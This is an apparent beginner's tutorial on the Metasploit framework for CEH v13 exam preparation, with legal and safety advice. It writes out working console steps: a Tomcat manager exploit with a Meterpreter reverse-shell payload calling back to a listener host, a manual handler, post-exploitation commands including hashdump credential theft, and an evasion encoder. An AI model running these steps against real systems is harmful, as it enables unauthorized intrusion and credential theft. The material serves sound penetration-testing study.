๐ฅ Metasploit for Beginners: The Ethical Hackerโs Exploitation Framework
๐ What is Metasploit?
Metasploit is a powerful open-source exploitation framework used by penetration testers to develop, test, and execute exploits against target systems. It bundles exploits, payloads, encoders, and post-exploitation modules into a modular toolkit that speeds up red-team workflows and proof-of-concept creation.
๐ Analogy: Metasploit is like a mechanicโs toolbox โ built-in tools (modules) let you test weak points safely and demonstrate fixes.
๐งญ Why Learn Metasploit First?
- โ Industry-standard for exploit development and validation.
- โ Integrates with Nmap, Burp, and other tools for end-to-end testing.
- โ Teaches the exploitation lifecycle: find โ exploit โ control โ clean up.
- โ Frequently referenced in CEH v13 practicals and labs.
๐ Metasploit Core Concepts
- ๐งฉ Module โ Reusable code (exploit, auxiliary, post, payload).
- ๐ฏ Exploit โ Code that targets a specific vulnerability.
- ๐งจ Payload โ Code executed after exploitation (reverse shell, Meterpreter).
- ๐ Handler / Listener โ Waits for incoming connections from payloads.
- ๐งช Auxiliary โ Scanning, fuzzing, enumeration (non-exploit modules).
- ๐งฐ Post-exploitation โ Privilege escalation, credential harvesting, persistence.
๐ง Quick Start โ Practical Commands
1) Start msfconsole
sudo msfdb init # initialize database (once)
msfconsole
2) Search for modules
search type:exploit name:tomcat
3) Use an exploit module
use exploit/multi/http/tomcat_mgr_upload
show options
set RHOSTS 192.168.1.10
set RPORT 8080
set USERNAME tomcat
set PASSWORD s3cr3t
set PAYLOAD java/meterpreter/reverse_tcp
set LHOST 10.0.0.5
set LPORT 4444
exploit
4) Run a handler (if needed)
Metasploit runs handler automatically; manual:
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.0.0.5
set LPORT 4444
run
5) Post-exploitation with Meterpreter
sysinfo
getuid
migrate <pid>
hashdump # requires privilege
screenshare # live capture (lab only)
6) Auxiliary module example (scanner)
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.0/24
run
๐๏ธ Module Types Cheat Sheet
| ๐ Type | โ๏ธ Purpose | ๐งฉ Example |
|---|---|---|
| exploit/ | Gain code execution via a vuln | exploit/windows/smb/ms17_010_eternalblue |
| auxiliary/ | Scanning, fuzzing, brute force | auxiliary/scanner/ssh/ssh_login |
| payload/ | Code executed after exploit | windows/meterpreter/reverse_tcp |
| post/ | Cleanup, info collection, persistence | post/windows/gather/enum_users |
| encoder/ | Evade simple signature detection | x86/shikata_ga_nai |
๐ Typical Workflow
- Recon (Nmap, OSINT) โ 2. Module search โ 3. Exploit + Payload โ 4. Handler โ 5. Post-exploitationโ 6. Report & Remediate
โ๏ธ Safety & Legal Best Practices
- ๐ย Always obtain written authorizationย (scope, systems, time).
- ๐งช Use controlled labs (TryHackMe, Hack The Box, local VMs).
- ๐ซ Never run exploits on production systems without explicit permission.
- ๐งพ Document every action, timestamp logs, and provide reproducible PoC for remediation.
๐ฏ CEH v13 Strategy Checklist
Knowledge (MCQ)
- Know module roles: exploit vs payload vs auxiliary vs post.
- Understand Meterpreter capabilities and common payload types (reverse vs bind).
- Be familiar with safety/legal rules and typical detection indicators.
Practical (Hands-on)
- Start with
msfconsoleโsearchโuseโsetโexploit. - Chain Nmap โ
db_importโhostsโ quick module targeting. - Use
exploit/multi/handlerfor stand-alone payload handling. - Practice Meterpreter
sysinfo,getuid,hashdump(lab). - Clean up: remove persistence, close sessions, revert changes.
๐ Quick Tips & Gotchas
- Meterpreter shells are powerful; avoid running destructive commands.
- Use
setgto set global options (e.g.,setg LHOST 10.0.0.5). -zflag runs exploit in background (exploit -z).- For noisy tests, prefer auxiliary modules to avoid unintended impact.
- Export output:
spoolor use db export for reporting.
โ Key Takeaways
- Metasploit = central framework to learn exploitation methodology.
- Modules accelerate proof-of-concepts but donโt replace understanding of vulnerabilities.
- Combine Metasploit with Nmap and Burp for full-chain testing.
- Ethics first: always test with permission and document everything.

